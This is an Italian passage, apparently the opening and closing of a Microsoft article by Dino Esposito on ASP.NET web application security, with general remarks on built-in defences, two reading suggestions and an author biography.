ASP.NET applicazioni non sono né più vulnerabili né più sicure di altre applicazioni Web. La sicurezza e la vulnerabilità derivano sia dalle procedure di codifica, dall'esperienza dal campo che dal lavoro in team. Nessuna applicazione è sicura se la rete non è; allo stesso modo, indipendentemente da quanto sia sicura e ben amministrata la rete, gli utenti malintenzionati troveranno sempre il loro modo se l'applicazione è interrotta.

La bellezza di ASP.NET è che offre alcuni buoni strumenti per aumentare la barra di sicurezza a un livello passabile con pochi clic. Tuttavia , non è sufficiente. Non basarsi solo su ASP.NET soluzioni predefinite, ma non è consigliabile ignorarle. E imparare il più possibile sugli attacchi più comuni.

Questo articolo fornisce un elenco con annotazioni di funzionalità predefinite e alcune informazioni di base sugli attacchi e le difese. Le tecniche per rilevare gli attacchi in corso sono un'altra storia e forse richiedono un altro articolo.

Scrittura di codice sicuro di Michael Howard e David LeBlanc

TechNet Magazine, Furto sul Web: Prevenire il dirottamento della sessione

 

Informazioni sull'autore

Dino Esposito è un istruttore e consulente Wintellect con sede in Italia. Autore della programmazione di Microsoft ASP.NET e il più recente Introducing Microsoft ASP.NET 2.0 (entrambi di Microsoft Press), trascorre la maggior parte dei suoi corsi di insegnamento di tempo su ASP.NET e ADO.NET e parlando alle conferenze. Visitare il blog di Dino all'indirizzo https://weblogs.asp.net/despos.

© Microsoft Corporation. Tutti i diritti sono riservati.